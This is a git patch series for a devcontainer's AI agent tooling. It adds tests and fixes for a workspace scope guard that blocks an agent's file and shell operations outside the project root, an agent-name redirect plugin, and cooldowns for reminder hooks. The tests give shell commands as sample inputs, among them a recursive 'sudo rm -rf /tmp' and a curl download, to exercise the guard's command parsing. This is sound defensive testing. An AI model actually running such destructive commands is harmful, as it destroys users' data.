{"file_path": "/foo/bar"}, "/foo/bar"), + ("Glob", {"path": "/foo"}, "/foo"), + ("Glob", {}, None), + ("Bash", {"command": "ls"}, None), + ("NotebookEdit", {"notebook_path": "/nb.ipynb"}, "/nb.ipynb"), + ], + ids=[ + "read_file_path", + "write_file_path", + "edit_file_path", + "glob_with_path", + "glob_no_path", + "bash_no_file_field", + "notebook_edit", + ], + ) + def test_target_path(self, tool_name, tool_input, expected): + assert guard_workspace_scope.get_target_path(tool_name, tool_input) == expected + + +# --------------------------------------------------------------------------- +# extract_primary_command +# --------------------------------------------------------------------------- +class TestExtractPrimaryCommand: + @pytest.mark.parametrize( + "command, expected", + [ + ("ls -la", "ls"), + ("sudo rm -rf /tmp", "rm"), + ("sudo -u root pip install foo", "pip"), + ("env VAR=val python script.py", "python"), + ("nohup python server.py", "python"), + ("VAR=1 OTHER=2 make build", "make"), + ], + ids=[ + "simple_command", + "sudo_prefix", + "sudo_with_user_flag", + "env_with_var", + "nohup_prefix", + "inline_var_assignments", + ], + ) + def test_primary_command(self, command, expected): + assert guard_workspace_scope.extract_primary_command(command) == expected + + +# --------------------------------------------------------------------------- +# extract_write_targets +# --------------------------------------------------------------------------- +class TestExtractWriteTargets: + @pytest.mark.parametrize( + "command, expected", + [ + ("echo x > output.txt", ["output.txt"]), + ("tee -a log.txt", ["log.txt"]), + ("cp src.py /workspaces/other/dest.py", ["/workspaces/other/dest.py"]), + ("ls -la", []), + ( + "curl -o /tmp/file.tar.gz https://example.com", + ["/tmp/file.tar.gz"], + ), + ], + ids=[ + "redirect_output", + "tee_append", + "cp_destination", + "no_write_targets", + "curl_output_file", + ], + ) + def test_write_targets(self, command, expected): + assert guard_workspace_scope.extract_write_targets(command) == expected + + +# --------------------------------------------------------------------------- +# check_bash_scope — uses mock to control os.path.realpath +# --------------------------------------------------------------------------- +class TestCheckBashScope: + """Test check_bash_scope which calls sys.exit(2) on violation. + + All tests mock os.path.realpath as an identity function so that paths + resolve to themselves without filesystem interaction. + """ + + @pytest.mark.parametrize( + "command, cwd", + [ + ("echo x > /workspaces/.devcontainer/foo", "/workspaces/proj"), + ( + "cat /workspaces/.devcontainer/scripts/setup.sh", + "/workspaces/proj", + ), + ("echo x > /workspaces/other/file", "/workspaces/proj"), + ("ls /workspaces/other/src", "/workspaces/proj"), + ], + ids=[ + "write_to_blacklisted", + "reference_blacklisted", + "write_outside_scope", + "workspace_path_outside_scope", + ], + ) + def test_blocked(self, command, cwd): + with ( + patch("os.path.realpath", side_effect=lambda p: p), + pytest.raises(SystemExit) as exc_info, + ): + guard_workspace_scope.check_bash_scope(command, cwd) + assert exc_info.value.code == 2 + + @pytest.mark.parametrize( + "command, cwd", + [ + ("echo x > /workspaces/proj/out.txt", "/workspaces/proj"), + ("echo hello", "/workspaces/proj"), + ("echo x > /workspaces/other/file", "/workspaces"), + ("echo x > /tmp/scratch", "/workspaces/proj"), + ("", "/workspaces/proj"), + ], + ids=[ + "write_inside_scope", + "no_paths", + "cwd_is_workspaces_bypass", + "allowlisted_tmp", + "empty_command", + ], + ) + def test_allowed(self, command, cwd): + with patch("os.path.realpath", side_effect=lambda p: p): + # Should return None (no exception) + result = guard_workspace_scope.check_bash_scope(command, cwd) + assert result is None diff --git a/tests/plugins/test_redirect_builtin_agents.py b/tests/plugins/test_redirect_builtin_agents.py new file mode 100644 index 0000000..91c8714 --- /dev/null +++ b/tests/plugins/test_redirect_builtin_agents.py @@ -0,0 +1,174 @@ +"""Tests for the agent-system redirect-builtin-agents plugin. + +Verifies that REDIRECT_MAP, UNQUALIFIED_MAP, and the main() function +correctly redirect built-in and unqualified agent names to fully-qualified +custom agent references, and pass through already-qualified or unknown names. +""" + +import io +import json + +import pytest + +from tests.conftest import redirect_builtin_agents + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +def run_main(stdin_data: str) -> tuple[int, str]: + """Run main() with mocked stdin/stdout, return (exit_code, stdout_text). + + Captures SystemExit to extract the exit code. Returns stdout contents + regardless of whether output was produced. + """ + from unittest.mock import patch + + mock_stdout = io.StringIO() + with patch("sys.stdin", io.StringIO(stdin_data)), patch("sys.stdout", mock_stdout): + try: + redirect_builtin_agents.main() + except SystemExit as exc: + return (exc.code, mock_stdout.getvalue()) + # If main() returns without sys.exit (shouldn't happen, but handle it) + return (None, mock_stdout.getvalue()) + + +def make_input(subagent_type: str, **extra_fields) -> str: + """Build a JSON stdin payload with the given subagent_type.""" + tool_input = {"subagent_type": subagent_type, **extra_fields} + return json.dumps({"tool_input": tool_input}) + + +# --------------------------------------------------------------------------- +# 1. Data structure tests +# --------------------------------------------------------------------------- + + +class TestDataStructures: + def test_redirect_map_has_all_entries(self) -> None: + expected = { + "Explore": "explorer", + "Plan": "architect", + "general-purpose": "generalist", + "Bash": "bash-exec", + "claude-code-guide": "claude-guide", + "statusline-setup": "statusline-config", + } + assert redirect_builtin_agents.REDIRECT_MAP == expected + + def test_unqualified_map_derived_from_redirect_map(self) -> None: + prefix = redirect_builtin_agents.PLUGIN_PREFIX + expected = { + v: f"{prefix}:{v}" for v in redirect_builtin_agents.REDIRECT_MAP.values() + } + assert redirect_builtin_agents.UNQUALIFIED_MAP == expected + + def test_plugin_prefix(self) -> None: + assert redirect_builtin_agents.PLUGIN_PREFIX == "agent-system" + + +# --------------------------------------------------------------------------- +# 2. Redirect: built-in name -> qualified custom name +# --------------------------------------------------------------------------- + + +class TestBuiltinRedirect: + @pytest.mark.parametrize( + "builtin_name, expected_target", + [ + ("Explore", "agent-system:explorer"), + ("Plan", "agent-system:architect"), + ("general-purpose", "agent-system:generalist"), + ], + ) + def test_builtin_to_qualified( + self, builtin_name: str, expected_target: str + ) -> None: + exit_code, stdout = run_main(make_input(builtin_name, prompt="test")) + assert exit_code == 0 + output = json.loads(stdout) + updated = output["hookSpecificOutput"]["updatedInput"] + assert updated["subagent_type"] == expected_target + + +# --------------------------------------------------------------------------- +# 3. Redirect: unqualified custom name -> qualified custom name +# --------------------------------------------------------------------------- + + +class TestUnqualifiedRedirect: + @pytest.mark.parametrize( + "unqualified_name, expected_target", + [ + ("explorer", "agent-system:explorer"), + ("bash-exec", "agent-system:bash-exec"), + ], + ) + def test_unqualified_to_qualified( + self, unqualified_name: str, expected_target: str + ) -> None: + exit_code, stdout = run_main(make_input(unqualified_name)) + assert exit_code == 0 + output = json.loads(stdout) + updated = output["hookSpecificOutput"]["updatedInput"] + assert updated["subagent_type"] == expected_target + + +# --------------------------------------------------------------------------- +# 4. Passthrough (no redirect) +# --------------------------------------------------------------------------- + + +class TestPassthrough: + def test_already_qualified_passthrough(self) -> None: + """Already-qualified name should exit 0 with no output.""" + exit_code, stdout = run_main(make_input("agent-system:explorer")) + assert exit_code == 0 + assert stdout == "" + + def test_unknown_agent_passthrough(self) -> None: + """Completely unknown name should exit 0 with no output.""" + exit_code, stdout = run_main(make_input("unknown-agent")) + assert exit_code == 0 + assert stdout == "" + + +# --------------------------------------------------------------------------- +# 5. Error handling +# --------------------------------------------------------------------------- + + +class TestErrorHandling: + def test_invalid_json_exits_zero(self) -> None: + """Malformed JSON on stdin should fail open (exit 0, no output).""" + exit_code, stdout = run_main("not valid json {{{") + assert exit_code == 0 + assert stdout == "" + + +# --------------------------------------------------------------------------- +# 6. Output structure verification +# --------------------------------------------------------------------------- + + +class TestOutputStructure: + def test_permission_decision_is_allow(self) -> None: + _, stdout = run_main(make_input("Explore", prompt="find files")) + output = json.loads(stdout) + hook = output["hookSpecificOutput"] + assert hook["permissionDecision"] == "allow" + assert hook["hookEventName"] == "PreToolUse" + + def test_updated_input_preserves_original_fields(self) -> None: + """The redirect must preserve prompt, description, and other fields.""" + _, stdout = run_main( + make_input("Plan", prompt="design the API", description="arch task") + ) + output = json.loads(stdout) + updated = output["hookSpecificOutput"]["updatedInput"] + assert updated["subagent_type"] == "agent-system:architect" + assert updated["prompt"] == "design the API" + assert updated["description"] == "arch task" From 1dad59f18c229cda91db93faa0d736f573fbd93f Mon Sep 17 00:00:00 2001 From: AnExiledDev Date: Mon, 2 Mar 2026 18:09:06 +0000 Subject: [PATCH 02/33] Harden scope guard for worktrees and throttle Stop hook reminders Scope guard: resolve CWD with realpath to prevent symlink mismatches, detect .claude/worktrees/ and expand scope to project root so sibling worktrees aren't blocked, and improve error messages with resolved paths. Stop hooks: add 5-minute per-session cooldown to commit-reminder and spec-reminder to prevent repeated firing in team/agent scenarios. --- .devcontainer/CHANGELOG.md | 13 +++++ .../scripts/commit-reminder.py | 53 +++++++++++++++++-- .../spec-workflow/scripts/spec-reminder.py | 30 +++++++++++ .../plugins/workspace-scope-guard/README.md | 32 ++++++++--- .../scripts/guard-workspace-scope.py | 47 +++++++++++++--- .../scripts/inject-workspace-cwd.py | 24 +++++++-- 6 files changed, 176 insertions(+), 23 deletions(-) diff --git a/.devcontainer/CHANGELOG.md b/.devcontainer/CHANGELOG.md index fba2dec..9151927 100644 --- a/.devcontainer/CHANGELOG.md +++ b/.devcontainer/CHANGELOG.md @@ -1,5 +1,18 @@ # CodeForge Devcontainer Changelog +## v2.0.2 — 2026-03-02 + +### Security + +- Workspace scope guard now resolves CWD with `os.path.realpath()` for consistent comparison with target paths, preventing false positives from symlinks and bind mounts +- Scope guard detects `.claude/worktrees/` in CWD and expands scope to project root, allowing sibling worktrees and the main project directory to remain in-scope +- Improved scope guard error messages to include resolved paths and scope root for easier debugging of false positives +- CWD context injector now references the project root when running inside a worktree + +### Agent System + +- Commit reminder and spec reminder now have a 5-minute per-session cooldown, preventing repeated firing in team/agent scenarios where Stop events are frequent + ## v2.0.0 — 2026-02-26 ### .codeforge/ Configuration System diff --git a/.devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/commit-reminder.py b/.devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/commit-reminder.py index 37d6154..441ea40 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/commit-reminder.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/session-context/scripts/commit-reminder.py @@ -8,21 +8,39 @@ files touched) get an advisory suggestion; small changes are silent. Output is a systemMessage wrapped in tags — advisory only, -never blocks. The stop_hook_active guard prevents loops. +never blocks. The stop_hook_active guard prevents loops. A 5-minute cooldown +prevents repeated firing in agent/team scenarios where Stop events are frequent. """ import json import os import subprocess import sys +import time GIT_CMD_TIMEOUT = 5 +COOLDOWN_SECS = 300 # 5 minutes between reminders per session # Extensions considered source code (not config/docs) -SOURCE_EXTS = frozenset(( - ".py", ".ts", ".tsx", ".js", ".jsx", ".go", ".rs", - ".java", ".kt", ".rb", ".svelte", ".vue", ".c", ".cpp", ".h", -)) +SOURCE_EXTS = frozenset( + ( + ".py", + ".ts", + ".tsx", + ".js", + ".jsx", + ".go", + ".rs", + ".java", + ".kt", + ".rb", + ".svelte", + ".vue", + ".c", + ".cpp", + ".h", + ) +) # Patterns that indicate test files TEST_PATTERNS = ("test_", "_test.", ".test.", ".spec.", "/tests/", "/test/") @@ -75,6 +93,26 @@ def _is_test_file(path: str) -> bool: return any(pattern in lower for pattern in TEST_PATTERNS) +def _is_on_cooldown(session_id: str) -> bool: + """Check if the reminder fired recently. Returns True to suppress.""" + cooldown_path = f"/tmp/claude-commit-reminder-cooldown-{session_id}" + try: + mtime = os.path.getmtime(cooldown_path) + return (time.time() - mtime) < COOLDOWN_SECS + except OSError: + return False + + +def _touch_cooldown(session_id: str) -> None: + """Mark the cooldown as active.""" + cooldown_path = f"/tmp/claude-commit-reminder-cooldown-{session_id}" + try: + with open(cooldown_path, "w") as f: + f.write("") + except OSError: + pass + + def _is_meaningful(edited_files: list[str]) -> bool: """Determine if the session's edits are meaningful enough to suggest committing. @@ -111,6 +149,10 @@ def main(): if not session_id: sys.exit(0) + # Cooldown — suppress if fired within the last 5 minutes + if _is_on_cooldown(session_id): + sys.exit(0) + edited_files = _read_session_edits(session_id) if not edited_files: sys.exit(0) @@ -162,6 +204,7 @@ def main(): "" ) + _touch_cooldown(session_id) json.dump({"systemMessage": message}, sys.stdout) sys.exit(0) diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/scripts/spec-reminder.py b/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/scripts/spec-reminder.py index e1cd210..e1f0b0d 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/scripts/spec-reminder.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/scripts/spec-reminder.py @@ -11,14 +11,17 @@ Reads hook input from stdin (JSON). Returns JSON on stdout. Blocks with decision/reason so Claude addresses the spec gap before finishing. The stop_hook_active guard prevents infinite loops. +A 5-minute cooldown prevents repeated firing in agent/team scenarios. """ import json import os import subprocess import sys +import time GIT_CMD_TIMEOUT = 5 +COOLDOWN_SECS = 300 # 5 minutes between reminders per session # Directories whose changes should trigger the spec reminder CODE_DIRS = ( @@ -40,6 +43,26 @@ ) +def _is_on_cooldown(session_id: str) -> bool: + """Check if the reminder fired recently. Returns True to suppress.""" + cooldown_path = f"/tmp/claude-spec-reminder-cooldown-{session_id}" + try: + mtime = os.path.getmtime(cooldown_path) + return (time.time() - mtime) < COOLDOWN_SECS + except OSError: + return False + + +def _touch_cooldown(session_id: str) -> None: + """Mark the cooldown as active.""" + cooldown_path = f"/tmp/claude-spec-reminder-cooldown-{session_id}" + try: + with open(cooldown_path, "w") as f: + f.write("") + except OSError: + pass + + def _run_git(args: list[str]) -> str | None: """Run a git command and return stdout, or None on any failure.""" try: @@ -66,6 +89,11 @@ def main(): if input_data.get("stop_hook_active"): sys.exit(0) + # Cooldown — suppress if fired within the last 5 minutes + session_id = input_data.get("session_id", "") + if session_id and _is_on_cooldown(session_id): + sys.exit(0) + cwd = os.getcwd() # Only fire if this project uses the spec system @@ -116,6 +144,8 @@ def main(): "or /spec-refine if the spec is still in draft status." ) + if session_id: + _touch_cooldown(session_id) json.dump({"decision": "block", "reason": message}, sys.stdout) sys.exit(0) diff --git a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/README.md b/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/README.md index 26bf983..8cd9e62 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/README.md +++ b/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/README.md @@ -30,6 +30,21 @@ These paths are always permitted regardless of working directory: | `~/.claude/` | Claude config, plans, rules | | `/tmp/` | System temp directory | +### Worktree Support + +When CWD is inside a `.claude/worktrees/` directory (e.g., when an agent runs in a git worktree), the guard automatically expands scope to the **project root** — the parent of `.claude/worktrees/`. + +This means: +- Sibling worktrees under the same project are **in-scope** +- The main project directory is **in-scope** +- Other projects remain **out-of-scope** + +Example: if CWD is `/workspaces/projects/MyApp/.claude/worktrees/agent-abc123`, the scope root becomes `/workspaces/projects/MyApp/`. All paths under that root are permitted. + +### Path Resolution + +Both CWD and target paths are resolved via `os.path.realpath()` before comparison. This prevents false positives when paths involve symlinks or bind mounts. + ### CWD Context Injection The plugin injects working directory awareness on four hook events: @@ -41,6 +56,8 @@ The plugin injects working directory awareness on four hook events: | PreToolUse | Context alongside scope enforcement | | SubagentStart | Ensure subagents know their scope | +When in a worktree, the injected context references the project root as the scope boundary. + ## How It Works ### Hook Lifecycle (File Tools) @@ -52,13 +69,15 @@ Claude calls Read, Write, Edit, NotebookEdit, Glob, or Grep │ └─→ guard-workspace-scope.py │ + ├─→ Resolve CWD via os.path.realpath() + ├─→ Resolve scope root (worktree → project root) ├─→ Extract target path from tool input - ├─→ Resolve via os.path.realpath() (handles symlinks) + ├─→ Resolve target via os.path.realpath() (handles symlinks) ├─→ BLACKLIST check (first!) → exit 2 if blacklisted - ├─→ cwd is /workspaces? → allow (bypass, blacklist already checked) - ├─→ Path within cwd? → allow + ├─→ scope root is /workspaces? → allow (bypass, blacklist already checked) + ├─→ Path within scope root? → allow ├─→ Path on allowlist? → allow - └─→ Out of scope → exit 2 (block) + └─→ Out of scope → exit 2 (block with resolved path details) ``` ### Hook Lifecycle (Bash) @@ -70,10 +89,11 @@ Claude calls Bash │ └─→ guard-workspace-scope.py │ + ├─→ Resolve CWD + scope root (worktree-aware) ├─→ Extract write targets (Layer 1) + workspace paths (Layer 2) ├─→ BLACKLIST check on ALL extracted paths → exit 2 if any blacklisted - ├─→ cwd is /workspaces? → allow (bypass, blacklist already checked) - ├─→ Layer 1: Check write targets against scope + ├─→ scope root is /workspaces? → allow (bypass, blacklist already checked) + ├─→ Layer 1: Check write targets against scope root │ ├─→ System command exemption (only if ALL targets are system paths) │ └─→ exit 2 if any write target out of scope └─→ Layer 2: Scan ALL /workspaces/ paths in command (ALWAYS runs) diff --git a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py b/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py index 8aae4a9..5678a77 100755 --- a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py @@ -5,6 +5,7 @@ Blocks ALL operations (read, write, bash) outside the current working directory. Permanently blacklists /workspaces/.devcontainer/ — no exceptions, no bypass. Bash enforcement via two-layer detection: write target extraction + workspace path scan. +Worktree-aware: detects .claude/worktrees/ in CWD and expands scope to project root. Fails closed on any error. Exit code 2 blocks the operation with an error message. @@ -148,6 +149,25 @@ def is_allowlisted(resolved_path: str) -> bool: return any(resolved_path.startswith(prefix) for prefix in ALLOWED_PREFIXES) +# Worktree path segment used to detect worktree CWDs +_WORKTREE_SEGMENT = "/.claude/worktrees/" + + +def resolve_scope_root(cwd: str) -> str: + """Resolve CWD to the effective scope root. + + When CWD is inside a .claude/worktrees/ directory, the scope root + is the project root (the parent of .claude/worktrees/). This allows + sibling worktrees and the main project directory to remain in-scope. + + Returns cwd unchanged when not in a worktree. + """ + idx = cwd.find(_WORKTREE_SEGMENT) + if idx != -1: + return cwd[:idx] + return cwd + + def get_target_path(tool_name: str, tool_input: dict) -> str | None: """Extract the target path from tool input. @@ -286,8 +306,9 @@ def check_bash_scope(command: str, cwd: str) -> None: if not skip_layer1: for target, resolved in resolved_targets: if not is_in_scope(resolved, cwd) and not is_allowlisted(resolved): + detail = f" (resolved: {resolved})" if resolved != target else "" print( - f"Blocked: Bash command writes to '{target}' which is " + f"Blocked: Bash command writes to '{target}'{detail} which is " f"outside the working directory ({cwd}).", file=sys.stderr, ) @@ -297,8 +318,9 @@ def check_bash_scope(command: str, cwd: str) -> None: for path_str in workspace_paths: resolved = os.path.realpath(path_str) if not is_in_scope(resolved, cwd) and not is_allowlisted(resolved): + detail = f" (resolved: {resolved})" if resolved != path_str else "" print( - f"Blocked: Bash command references '{path_str}' which is " + f"Blocked: Bash command references '{path_str}'{detail} which is " f"outside the working directory ({cwd}).", file=sys.stderr, ) @@ -316,11 +338,14 @@ def main(): tool_name = input_data.get("tool_name", "") tool_input = input_data.get("tool_input", {}) - cwd = os.getcwd() + # Resolve CWD with realpath for consistent comparison with resolved targets + cwd = os.path.realpath(os.getcwd()) + # Expand scope to project root when running inside a worktree + scope_root = resolve_scope_root(cwd) # --- Bash tool: separate code path --- if tool_name == "Bash": - check_bash_scope(tool_input.get("command", ""), cwd) + check_bash_scope(tool_input.get("command", ""), scope_root) sys.exit(0) # --- File tools --- @@ -350,11 +375,11 @@ def main(): sys.exit(2) # cwd=/workspaces bypass (blacklist already checked) - if cwd == "/workspaces": + if scope_root == "/workspaces": sys.exit(0) # In-scope check - if is_in_scope(resolved, cwd): + if is_in_scope(resolved, scope_root): sys.exit(0) # Allowlist check @@ -362,9 +387,15 @@ def main(): sys.exit(0) # Out of scope — BLOCK for ALL tools + detail = f" (resolved: {resolved})" if resolved != target_path else "" + scope_info = ( + f"scope root ({scope_root})" + if scope_root != cwd + else f"working directory ({scope_root})" + ) print( - f"Blocked: {tool_name} targets '{target_path}' which is outside " - f"the working directory ({cwd}). Move to that project's directory " + f"Blocked: {tool_name} targets '{target_path}'{detail} which is outside " + f"the {scope_info}. Move to that project's directory " f"first or work from /workspaces.", file=sys.stderr, ) diff --git a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/inject-workspace-cwd.py b/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/inject-workspace-cwd.py index 64a3efb..8ee682c 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/inject-workspace-cwd.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/inject-workspace-cwd.py @@ -3,6 +3,9 @@ CWD context injector — injects working directory into Claude's context on every session start, user prompt, tool call, and subagent spawn. +Worktree-aware: when CWD is inside .claude/worktrees/, injects the project +root as the scope boundary instead of the worktree-specific path. + Fires on: SessionStart, UserPromptSubmit, PreToolUse, SubagentStart Always exits 0 (advisory, never blocking). """ @@ -11,20 +14,33 @@ import os import sys +# Must match the segment used in guard-workspace-scope.py +_WORKTREE_SEGMENT = "/.claude/worktrees/" + + +def resolve_scope_root(cwd: str) -> str: + """Resolve CWD to project root when inside a worktree.""" + idx = cwd.find(_WORKTREE_SEGMENT) + if idx != -1: + return cwd[:idx] + return cwd + def main(): - cwd = os.getcwd() + cwd = os.path.realpath(os.getcwd()) try: input_data = json.load(sys.stdin) # Some hook events provide cwd override - cwd = input_data.get("cwd", cwd) + cwd = os.path.realpath(input_data.get("cwd", cwd)) hook_event = input_data.get("hook_event_name", "PreToolUse") except (json.JSONDecodeError, ValueError): hook_event = "PreToolUse" + scope_root = resolve_scope_root(cwd) + context = ( - f"Working Directory: {cwd}\n" - f"All file operations and commands MUST target paths within {cwd}. " + f"Working Directory: {cwd} — restrict all file operations to this directory unless explicitly instructed otherwise.\n" + f"All file operations and commands MUST target paths within {scope_root}. " f"Do not read, write, or execute commands against paths outside this directory." ) From 2f0736e8a783364bab7d2acc8b588ce90373fc77 Mon Sep 17 00:00:00 2001 From: AnExiledDev Date: Wed, 4 Mar 2026 14:43:55 +0000 Subject: [PATCH 03/33] Fix scope guard blocking project root from subdirectory CWDs resolve_scope_root() now walks up from CWD looking for .git to find the repository root, preventing false positives when working in subdirectories like cli/, src/, or tests/. Safety ceiling at /workspaces prevents scope from escaping the workspace boundary. --- .devcontainer/CHANGELOG.md | 6 ++ .../plugins/workspace-scope-guard/README.md | 11 ++++ .../scripts/guard-workspace-scope.py | 26 ++++++-- .../scripts/inject-workspace-cwd.py | 25 +++++++- tests/plugins/test_guard_workspace_scope.py | 63 ++++++++++++++++++- 5 files changed, 124 insertions(+), 7 deletions(-) diff --git a/.devcontainer/CHANGELOG.md b/.devcontainer/CHANGELOG.md index 9151927..5e1de44 100644 --- a/.devcontainer/CHANGELOG.md +++ b/.devcontainer/CHANGELOG.md @@ -1,5 +1,11 @@ # CodeForge Devcontainer Changelog +## v2.0.3 — 2026-03-03 + +### Workspace Scope Guard + +- Fix scope guard blocking project root access from subdirectory CWDs — now detects git repository root and uses it as scope boundary + ## v2.0.2 — 2026-03-02 ### Security diff --git a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/README.md b/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/README.md index 8cd9e62..30f19ff 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/README.md +++ b/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/README.md @@ -41,6 +41,17 @@ This means: Example: if CWD is `/workspaces/projects/MyApp/.claude/worktrees/agent-abc123`, the scope root becomes `/workspaces/projects/MyApp/`. All paths under that root are permitted. +### Git Root Detection + +When CWD is a subdirectory of a git repository, the guard automatically expands scope to the **repository root** (the directory containing `.git`). This prevents false positives when working in subdirectories like `src/`, `cli/`, or `tests/`. + +The walk stops at `/workspaces` or the filesystem root as a safety ceiling — scope never expands beyond the workspace boundary. + +Priority order: +1. **Worktree detection** — `.claude/worktrees/` in CWD → project root +2. **Git root detection** — walk up to `.git` → repository root +3. **Fallback** — CWD unchanged (non-git directories) + ### Path Resolution Both CWD and target paths are resolved via `os.path.realpath()` before comparison. This prevents false positives when paths involve symlinks or bind mounts. diff --git a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py b/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py index 5678a77..45d20a8 100755 --- a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py @@ -6,6 +6,7 @@ Permanently blacklists /workspaces/.devcontainer/ — no exceptions, no bypass. Bash enforcement via two-layer detection: write target extraction + workspace path scan. Worktree-aware: detects .claude/worktrees/ in CWD and expands scope to project root. +Git-root-aware: walks up from CWD to find .git, expanding scope to repository root. Fails closed on any error. Exit code 2 blocks the operation with an error message. @@ -156,15 +157,30 @@ def is_allowlisted(resolved_path: str) -> bool: def resolve_scope_root(cwd: str) -> str: """Resolve CWD to the effective scope root. - When CWD is inside a .claude/worktrees/ directory, the scope root - is the project root (the parent of .claude/worktrees/). This allows - sibling worktrees and the main project directory to remain in-scope. - - Returns cwd unchanged when not in a worktree. + Priority: + 1. Worktree detection: if CWD is inside .claude/worktrees/, scope root + is the project root (parent of .claude/worktrees/). + 2. Git root detection: walk up from CWD looking for .git directory/file. + Stops at / or /workspaces to prevent scope from escaping the workspace. + 3. Fallback: CWD unchanged (non-git directories). """ + # 1. Worktree detection idx = cwd.find(_WORKTREE_SEGMENT) if idx != -1: return cwd[:idx] + + # 2. Git root detection — walk up looking for .git + current = cwd + while True: + if os.path.exists(os.path.join(current, ".git")): + return current + parent = os.path.dirname(current) + # Safety ceiling: stop at filesystem root or /workspaces + if parent == current or current == "/workspaces": + break + current = parent + + # 3. Fallback — no git root found return cwd diff --git a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/inject-workspace-cwd.py b/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/inject-workspace-cwd.py index 8ee682c..1c3730d 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/inject-workspace-cwd.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/inject-workspace-cwd.py @@ -5,6 +5,7 @@ Worktree-aware: when CWD is inside .claude/worktrees/, injects the project root as the scope boundary instead of the worktree-specific path. +Git-root-aware: walks up from CWD to find .git, expanding scope to repository root. Fires on: SessionStart, UserPromptSubmit, PreToolUse, SubagentStart Always exits 0 (advisory, never blocking). @@ -19,10 +20,32 @@ def resolve_scope_root(cwd: str) -> str: - """Resolve CWD to project root when inside a worktree.""" + """Resolve CWD to the effective scope root. + + Priority: + 1. Worktree detection: if CWD is inside .claude/worktrees/, scope root + is the project root (parent of .claude/worktrees/). + 2. Git root detection: walk up from CWD looking for .git directory/file. + Stops at / or /workspaces to prevent scope from escaping the workspace. + 3. Fallback: CWD unchanged (non-git directories). + """ + # 1. Worktree detection idx = cwd.find(_WORKTREE_SEGMENT) if idx != -1: return cwd[:idx] + + # 2. Git root detection — walk up looking for .git + current = cwd + while True: + if os.path.exists(os.path.join(current, ".git")): + return current + parent = os.path.dirname(current) + # Safety ceiling: stop at filesystem root or /workspaces + if parent == current or current == "/workspaces": + break + current = parent + + # 3. Fallback — no git root found return cwd diff --git a/tests/plugins/test_guard_workspace_scope.py b/tests/plugins/test_guard_workspace_scope.py index ebd0d4e..5951a2b 100644 --- a/tests/plugins/test_guard_workspace_scope.py +++ b/tests/plugins/test_guard_workspace_scope.py @@ -1,9 +1,11 @@ """Tests for workspace scope guard plugin. Covers: is_blacklisted, is_in_scope, is_allowlisted, get_target_path, - extract_primary_command, extract_write_targets, check_bash_scope. + extract_primary_command, extract_write_targets, check_bash_scope, + resolve_scope_root. """ +import os from unittest.mock import patch import pytest @@ -11,6 +13,61 @@ from tests.conftest import guard_workspace_scope +# --------------------------------------------------------------------------- +# resolve_scope_root +# --------------------------------------------------------------------------- +class TestResolveScopeRoot: + @pytest.mark.parametrize( + "cwd, git_at, expected", + [ + ( + "/workspaces/projects/MyApp/src/components", + "/workspaces/projects/MyApp", + "/workspaces/projects/MyApp", + ), + ( + "/workspaces/projects/MyApp/src/deeply/nested", + "/workspaces/projects/MyApp", + "/workspaces/projects/MyApp", + ), + ( + "/workspaces/projects/MyApp", + "/workspaces/projects/MyApp", + "/workspaces/projects/MyApp", + ), + ( + "/workspaces/projects/MyApp/src", + None, + "/workspaces/projects/MyApp/src", + ), + ( + "/workspaces/projects/MyApp/.claude/worktrees/abc/src", + "/workspaces/projects/MyApp", + "/workspaces/projects/MyApp", + ), + ], + ids=[ + "subdirectory_finds_git_root", + "deeply_nested_finds_git_root", + "already_at_git_root", + "no_git_fallback_to_cwd", + "worktree_takes_priority", + ], + ) + def test_resolve_scope_root(self, cwd, git_at, expected): + original_exists = os.path.exists + + def mock_exists(path): + if git_at and path == os.path.join(git_at, ".git"): + return True + if path.endswith("/.git"): + return False + return original_exists(path) + + with patch("os.path.exists", side_effect=mock_exists): + assert guard_workspace_scope.resolve_scope_root(cwd) == expected + + # --------------------------------------------------------------------------- # is_blacklisted # --------------------------------------------------------------------------- @@ -210,6 +267,8 @@ def test_blocked(self, command, cwd): ("echo x > /workspaces/other/file", "/workspaces"), ("echo x > /tmp/scratch", "/workspaces/proj"), ("", "/workspaces/proj"), + ("ls /workspaces/proj/other-dir", "/workspaces/proj"), + ("cat /workspaces/proj/README.md", "/workspaces/proj"), ], 